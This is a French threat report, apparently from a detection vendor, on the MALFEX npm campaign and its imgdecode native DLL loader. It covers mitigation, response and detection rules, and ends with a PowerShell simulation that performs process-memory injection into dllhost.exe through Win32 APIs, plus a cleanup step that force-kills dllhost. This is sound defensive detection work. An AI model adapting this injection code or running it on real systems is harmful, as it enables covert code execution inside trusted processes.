La campagne MALFEX déplace le chargeur npm malveillant dans une DLL Windows
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une campagne malveillante de npm, suivie sous le nom de MALFEX, a évolué en déplaçant sa logique de chargeur dans un addon natif Node.js compilé (DLL). Le imgdecode package récupère du shellcode chiffré depuis GitHub et l’injecte dans un processus dllhost.exe suspendu. Ce changement aide la menace à contourner les protections conventionnelles de script d’installation et cible directement les développeurs Windows via leurs environnements de développement.
Enquête
Les chercheurs de SafeDep ont analysé imgdecode les versions 1.0.0 à 1.0.3 et ont découvert que le package utilise une DLL C++ native pour effectuer une injection de processus. Ils ont déchiffré la charge utile avec la clé AES-256-CBC nif-runtime-2027 et ont tracé la chaîne d’infection du package npm à un téléchargeur basé sur Go et finalement à un stealer/RAT Windows avancé. La charge utile finale inclut également des techniques anti-analyse et des fonctionnalités de falsification de journaux.
Atténuation
Les organisations doivent restreindre les packages npm non vérifiés dans les environnements de développement et appliquer un filtrage strict des sorties pour bloquer les connexions vers des hôtes externes inconnus. La détection doit se concentrer sur node.exe engendrant processus dllhost.exe ou établissant des connexions inattendues aux dépôts de code. Surveiller un comportement de chargement d’addon natif inhabituel dans les environnements Node.js peut également fournir une alerte précoce d’activité malveillante.
Réponse
Si un poste de travail est soupçonné de charger des packages liés à MALFEX, isolez-le immédiatement du réseau. Les intervenants en cas d’incident doivent prioriser la criminalistique de la mémoire pour capturer le shellcode injecté avant de redémarrer le système. Faites tourner tous les identifiants potentiellement exposés, y compris les mots de passe des navigateurs, les jetons Discord et les clés des fournisseurs de cloud, dès que le confinement est terminé.
Flux d’attaque
Nous mettons toujours cette partie à jour.
Détections
Points de persistance possibles [ASEPs – Registre/Nouvel utilisateur Hive] (via registry_event)
Téléchargement de fichier Github possible initié par un processus inhabituel (via network_connection)
Tâche planifiée suspecte (via audit)
Téléchargement de fichier suspect IP directe (via proxy)
IOCs (HashSha256) pour détecter : MALFEX déplace son chargeur npm dans une DLL Windows native
IOCs (SourceIP) pour détecter : MALFEX déplace son chargeur npm dans une DLL Windows native
IOCs (DestinationIP) pour détecter : MALFEX déplace son chargeur npm dans une DLL Windows native
Détecter l’injection de processus malveillant par le chargeur npm MALFEX dans imgdecode [Windows Sysmon]
Détection du chargeur Node.js imgdecode de MALFEX [Création de processus Windows]
Exécution de simulation
-
Narration & Commandes de l’attaque : L’adversaire a réussi à tromper un développeur pour qu’il installe un package npm malveillant. Pour éviter la détection par les AV standard, le package utilise un addon natif Node.js (
imgdecode.node) pour effectuer une injection de processus « Living-off-the-Land ». Le but est d’injecter du shellcode dans un processus Windows légitime (processus dllhost.exe) pour cacher l’activité malveillante sous un nom de processus de confiance. La simulation utilisera un script PowerShell pour imiter les appels API (VirtualAllocEx,WriteProcessMemory,CreateRemoteThread) d’un fichier nomméimgdecode.nodepour ciblerprocessus dllhost.exe. -
Script de Test de Régression :
# Script de simulation pour imiter l'injection imgdecode de MALFEX # Remarque : ce script crée un fichier factice pour correspondre à l'exigence 'Image' de la règle $targetProcess = "dllhost.exe" $fakeModule = "imgdecode.node" # 1. Créer un répertoire factice et le fichier .node factice pour satisfaire l'exigence du chemin d'image $tempDir = Join-Path $env:TEMP "malfex_sim" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null $fakeFilePath = Join-Path $tempDir $fakeModule New-Item -ItemType File -Force -Path $fakeFilePath | Out-Null Write-Host "[+] Module factice créé : $fakeFilePath" # 2. Effectuer la simulation d'injection de processus # Nous utilisons Add-Type pour accéder directement aux API Win32 afin de nous assurer que le CallTrace contient les fonctions cibles $code = @" using System; using System.Runtime.InteropServices; public class Injector { [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll")] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] public static extern uint GetCurrentProcessId(); } "@ Add-Type -TypeDefinition $code # Trouver un processus dllhost.exe en cours d'exécution $process = Get-Process dllhost -ErrorAction SilentlyContinue if ($null -eq $process) { Write-Host "[-] dllhost.exe non en cours d'exécution. En démarrant un..." Start-Process dllhost.exe Start-Sleep -Seconds 2 $process = Get-Process dllhost } $pid = $process.Id Write-Host "[+] Ciblage $targetProcess (PID: $pid)" # Ouvrir le processus $hProcess = [Injector]::OpenProcess(0x001F0FFF, $false, $pid) # Allouer de la mémoire (déclenche VirtualAllocEx dans CallTrace) $remoteMem = [Injector]::VirtualAllocEx($hProcess, [IntPtr]::Zero, 1024, 0x3000, 0x40) Write-Host "[+] Mémoire allouée à : $remoteMem" # Écrire le shellcode (déclenche WriteProcessMemory dans CallTrace) $shellcode = [byte[]] @(0x90, 0x90, 0x90, 0x90) # NOP Sled $bytesWritten = [IntPtr]::Zero [Injector]::WriteProcessMemory($hProcess, $remoteMem, $shellcode, 4, [ref]$bytesWritten) Write-Host "[+] Shellcode écrit dans le processus distant" # Créer un thread distant (déclenche CreateRemoteThread dans CallTrace) Write-Host "[+] Thread distant créé. La détection devrait maintenant se déclencher." Write-Host "[!] Simulation terminée. Vérifiez SIEM pour alerte." -
Commandes de nettoyage :
# Nettoyer les artefacts de simulation Stop-Process -Name "dllhost" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPmalfex_sim" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "[+] Nettoyage terminé."